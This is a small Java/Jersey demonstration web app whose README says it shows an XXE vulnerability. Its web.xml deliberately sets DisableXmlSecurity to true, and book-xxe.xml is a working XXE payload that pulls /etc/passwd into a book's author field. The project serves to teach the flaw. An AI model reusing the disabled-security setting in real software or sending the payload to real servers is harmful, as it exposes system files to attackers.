├── README.md
├── book-xxe.xml
├── book.xml
├── pom.xml
└── src
    └── main
        ├── java
            └── com
            │   └── xakcop
            │       └── xxe
            │           ├── Book.java
            │           └── BookHandler.java
        └── webapp
            ├── META-INF
                └── MANIFEST.MF
            └── WEB-INF
                └── web.xml


/README.md:
--------------------------------------------------------------------------------
 1 | Simple web application which demonstrates XXE vulnerabitlity.
 2 | 
 3 | Start web app:
 4 | 
 5 |     $ mvn jetty:run
 6 | 
 7 | Retrieve all books:
 8 | 
 9 |     $ curl http://localhost:8080/rest/books
10 | 
11 | Retrieve book by id:
12 | 
13 |     $ curl http://localhost:8080/rest/books/1
14 | 
15 | Delete book by id:
16 | 
17 |     $ curl -v -X DELETE http://localhost:8080/rest/books/4
18 | 
19 | Create new book:
20 | 
21 |     $ curl -v -H "Content-Type:application/xml" --upload-file book.xml http://localhost:8080/rest/books


--------------------------------------------------------------------------------
/book-xxe.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 2 | <!DOCTYPE bar [
 3 | <!ENTITY xxe SYSTEM "file:///etc/passwd">
 4 | ]>
 5 | <book>
 6 |     <author>&xxe;</author>
 7 |     <isbn>11112222333</isbn>
 8 |     <title>Metasploit Unleashed</title>
 9 | </book>
10 | 


--------------------------------------------------------------------------------
/book.xml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2 | <book>
3 |     <title>Programming pearls</title>
4 |     <isbn>8177588583</isbn>
5 |     <author>Jon Bentley</author>
6 | </book>
7 | 


--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
 1 | <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 2 |   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 3 |   <modelVersion>4.0.0</modelVersion>
 4 |   <groupId>com.xakcop</groupId>
 5 |   <artifactId>xxe-example</artifactId>
 6 |   <packaging>war</packaging>
 7 |   <version>1.0-SNAPSHOT</version>
 8 |   <name>XXE example</name>
 9 | 
10 |   <properties>
11 |     <jettyVersion>7.3.1.v20110307</jettyVersion>
12 |     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
13 |   </properties>  
14 | 
15 |   <dependencies>
16 | 	<dependency>
17 | 		<groupId>javax.servlet</groupId>
18 | 		<artifactId>servlet-api</artifactId>
19 | 		<version>2.5</version>
20 | 		<scope>provided</scope>
21 | 	</dependency>
22 | 		<dependency>
23 | 			<groupId>com.sun.jersey</groupId>
24 | 			<artifactId>jersey-server</artifactId>
25 | 			<version>1.8</version>
26 | 		</dependency>
27 |   </dependencies>
28 | 
29 |   <build>
30 |     <finalName>qsl-webapp</finalName>
31 |     <plugins>
32 |       <plugin>
33 |         <artifactId>maven-compiler-plugin</artifactId>
34 |         <version>2.3.2</version>
35 |         <configuration>
36 |           <source>1.6</source>
37 |           <target>1.6</target>
38 |         </configuration>
39 |       </plugin>    
40 |       <plugin>
41 |         <groupId>org.mortbay.jetty</groupId>
42 |         <artifactId>jetty-maven-plugin</artifactId>
43 |         <version>${jettyVersion}</version>
44 |       </plugin>
45 |     </plugins>
46 |   </build>
47 | </project>
48 | 


--------------------------------------------------------------------------------
/src/main/java/com/xakcop/xxe/Book.java:
--------------------------------------------------------------------------------
 1 | package com.xakcop.xxe;
 2 | 
 3 | import javax.xml.bind.annotation.XmlRootElement;
 4 | 
 5 | @XmlRootElement
 6 | public class Book {
 7 | 
 8 |     int id;
 9 |     String title;
10 |     String author;
11 |     String isbn;
12 | 
13 |     public int getId() {
14 |         return id;
15 |     }
16 | 
17 |     public void setId(int id) {
18 |         this.id = id;
19 |     }
20 | 
21 |     public String getTitle() {
22 |         return title;
23 |     }
24 | 
25 |     public void setTitle(String title) {
26 |         this.title = title;
27 |     }
28 | 
29 |     public String getIsbn() {
30 |         return isbn;
31 |     }
32 | 
33 |     public void setIsbn(String isbn) {
34 |         this.isbn = isbn;
35 |     }
36 | 
37 |     public String getAuthor() {
38 |         return author;
39 |     }
40 | 
41 |     public void setAuthor(String author) {
42 |         this.author = author;
43 |     }
44 | }
45 | 


--------------------------------------------------------------------------------
/src/main/java/com/xakcop/xxe/BookHandler.java:
--------------------------------------------------------------------------------
 1 | package com.xakcop.xxe;
 2 | 
 3 | import java.util.ArrayList;
 4 | import java.util.List;
 5 | import java.util.Map;
 6 | import java.util.concurrent.ConcurrentHashMap;
 7 | 
 8 | import javax.ws.rs.Consumes;
 9 | import javax.ws.rs.DELETE;
10 | import javax.ws.rs.GET;
11 | import javax.ws.rs.PUT;
12 | import javax.ws.rs.Path;
13 | import javax.ws.rs.PathParam;
14 | import javax.ws.rs.Produces;
15 | import javax.ws.rs.core.MediaType;
16 | 
17 | @Path("/books")
18 | public class BookHandler {
19 | 
20 |     static final Map<Integer, Book> books = new ConcurrentHashMap<Integer, Book>();
21 |     static volatile int currentId = 0;
22 |     
23 |     static {
24 |         Book book = new Book();
25 |         book.setId(currentId);
26 |         book.setTitle("Java puzzlers");
27 |         book.setAuthor("Joshua Bloch");
28 |         book.setIsbn("032133678X");
29 |         books.put(currentId++, book);
30 |         book = new Book();
31 |         book.setId(currentId);
32 |         book.setTitle("Java concurrency in practice");
33 |         book.setAuthor("Brian Goetz");
34 |         book.setIsbn("0321349601");
35 |         books.put(currentId++, book);        
36 |     }
37 |     
38 |     @PUT
39 |     @Consumes(MediaType.APPLICATION_XML)
40 |     public void createBook(Book book) {
41 |         book.setId(currentId);
42 |         System.out.println(book.title);
43 |         books.put(currentId++, book);
44 |         System.out.println(books.size());
45 |     }
46 |     
47 |     @GET
48 |     @Produces(MediaType.APPLICATION_XML)
49 |     public List<Book> retrieveAllBooks() {
50 |         List<Book> result = new ArrayList<Book>();
51 |         for (Map.Entry<Integer, Book> entry : books.entrySet()) {
52 |             result.add(entry.getValue());
53 |         }
54 |         return result;
55 |     }    
56 |     
57 |     @GET
58 |     @Path("{id}")
59 |     @Produces(MediaType.APPLICATION_XML)
60 |     public Book retrieveBook(@PathParam("id") int id) {
61 |         return books.get(id);
62 |     }
63 | 
64 |     @DELETE
65 |     @Path("{id}")
66 |     public void deleteBook(@PathParam("id") int id) {
67 |         books.remove(id);
68 |     }
69 | 
70 | }


--------------------------------------------------------------------------------
/src/main/webapp/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Class-Path: 
3 | 
4 | 


--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"
 3 |       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |       xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
 5 | 
 6 |     <display-name>XXE</display-name>
 7 |     <servlet>
 8 |         <servlet-name>Jersey</servlet-name>
 9 |         <servlet-class>com.sun.jersey.spi.container.servlet.ServletContainer</servlet-class>
10 |         <init-param>
11 |             <param-name>com.sun.jersey.config.property.packages</param-name>
12 |             <param-value>com.xakcop.xxe</param-value>
13 |         </init-param>
14 |         <init-param>
15 |             <param-name>com.sun.jersey.config.feature.Formatted</param-name>
16 |             <param-value>true</param-value>
17 |         </init-param>
18 |         <init-param>
19 |             <param-name>com.sun.jersey.config.feature.DisableXmlSecurity</param-name>
20 |             <param-value>true</param-value>
21 |         </init-param>
22 |         <load-on-startup>1</load-on-startup>
23 |     </servlet>
24 |     <servlet-mapping>
25 |         <servlet-name>Jersey</servlet-name>
26 |         <url-pattern>/rest/*</url-pattern>
27 |     </servlet-mapping>
28 | </web-app>
29 | 


--------------------------------------------------------------------------------